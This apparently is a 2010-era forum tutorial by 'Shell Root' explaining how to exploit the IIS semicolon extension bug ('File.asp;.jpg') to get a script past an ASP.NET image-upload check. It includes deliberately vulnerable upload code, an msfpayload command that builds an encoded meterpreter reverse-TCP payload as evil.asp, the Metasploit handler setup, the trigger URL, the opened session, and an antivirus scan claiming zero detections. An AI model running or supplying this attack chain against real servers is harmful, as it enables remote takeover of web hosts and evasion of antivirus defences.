Microsoft IIS Bug - Red Orbita

A long time ago, we saw the Internet Information Server Bug, now I will explain how to exploit it, using my best friend, Metasploit!. What does this error consist of?, This error ===

Bug microsoft iis
By: Shell Root

A long time ago, we saw the Bug Internet Information Server, now I will explain how to exploit it, using my best friend, Metasploit!. What does this error consist of?, This bug allows a user to upload a file "sure" with extension (jpg, png, etc) to load an ASP script and force the file to be executed within the web server.But how?, The error occurs when a file name specified in the form of «File.asp;. jpg», the application checks the file extension and goes to «.jpg», but the IIS server stops to scan the first «;» and go ".asp".

Remembering a little about my profession (Software Developer), we are going to make a practical example of what the upload would be like in real time and what the bypassing of the malicious script with the extension would be like. .asp

Let's look at the vulnerable upload! (Coded in Visual Studio .NET)
Default.aspx

Code:

JAVA

html

<%@ Page Language="V.B." AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Upload By: Shell Root</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>

        <table>
            <tr>
                <td colspan="2" align="center"><h1>Upload By: Shell Root</h1></td>
            </tr>
            <tr>
                <td></td>
                <td></td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <asp:FileUpload ID="FileUpload1" runat="server" Width="236px" />
                </td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <asp:Button ID="BtnSubir" runat="server" Text="Subir" />
                </td>
            </tr>
        </table>

    </div>
    </form>
</body>
</html>

Default.aspx.vb

Code:

PYTHON

text

Partial Class _Default
    Inherits System.Web.UI.Page

    Protected Sub BtnSubir_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles BtnSubir.Click
        Try
            Dim fileName As String = Server.HtmlEncode(Me.FileUpload1.FileName)
            Dim extension As String = System.IO.Path.GetExtension(fileName)

            If (Me.FileUpload1.HasFile) Then
                If (extension = ".jpg") Or (extension = ".gif") Or (extension = ".png") Or (extension = ".jpg") Then
                    Me.FileUpload1.SaveAs(Server.MapPath("~/Imagenes/" & FileUpload1.FileName))
                Else
                    MsgBox("Error la extension de la foto debe ser tipo: .jpg, .gif, .png", MsgBoxStyle.Critical, "Error de Formato")
                End If
            End If
        Catch ex As Exception
            MsgBox("Error: " & ex.Message, MsgBoxStyle.Critical, "Error")
        End Try
    End Sub
End Class

Now we have the upload, let's try to enter a file with an extension that is not allowed, we will get the message Error, the photo extension must be type: .jpg, .gif, .png, but if we enter a real image with the extensions allowed, we see that it can be displayed if we enter the URL http://localhost/Bug%20IIS/Imagenes/.

We already have the upload verified, now we are going to create a malicious script, which will return a session of the meterpreter. So:

Code:

CODE

Bash

shellroot@shellroot-desktop:~$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.137 LPORT=1234 R | msfencode -o /home/shellroot/evil.asp[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

We enter the console Metasploit, we configure the multi/handler with the previous data and we execute it.

Code:

CODE

Bash

shellroot@shellroot-desktop:~$ msfconsole
                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |
  |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                           /|
                           |                  

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 503 exploits - 248 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
       =[ svn r8404 updated today (2010.02.08)

msf > use multi/handler
reverse_tcp(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.137
LHOST => 192.168.142.137
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.142.137:1234[*] Starting the payload handler...

Now we change the name of the malicious file. File.asp to File.asp;.jpg. This will be enough to bypass the upload and also execute the malicious file within the server. We go to the upload, we search for it and we upload it, now, How do we execute it? We enter the URL http://localhost/Bug%20IIS/Imagenes/Archivo.asp;.jpg, with this the server will interpret only up to File.asp (It's the only thing we're interested in interpreting). With this we execute the file, we look at the multi/handler and woala, a meterpreter session.

Code:

CODE

text

[*] Meterpreter session 1 opened (192.168.142.137:1234 -> 192.168.142.1:7752)

P.S: In the following link, you can see that the malicious file is not detected by the antivirus. Multi-Engine Antivirus Scanner – Services – NoVirusThanks.org

Appointment:

File Info

Report date: 8.2.2010 at 22.49.59 (GMT 1)
File name: File.asp
File size: 316058 bytes
MD5 Hash: 03dc8eb3c6debe8d6fa7ebfd8a526b53
SHA1 Hash: 6202F26B60FAA2255B1AF6251508E32C33CCF8FA
Detection rate: 0 on 20
Status: CLEAN

Scan report generated by NoVirusThanks.org

By: Shell Root

Comments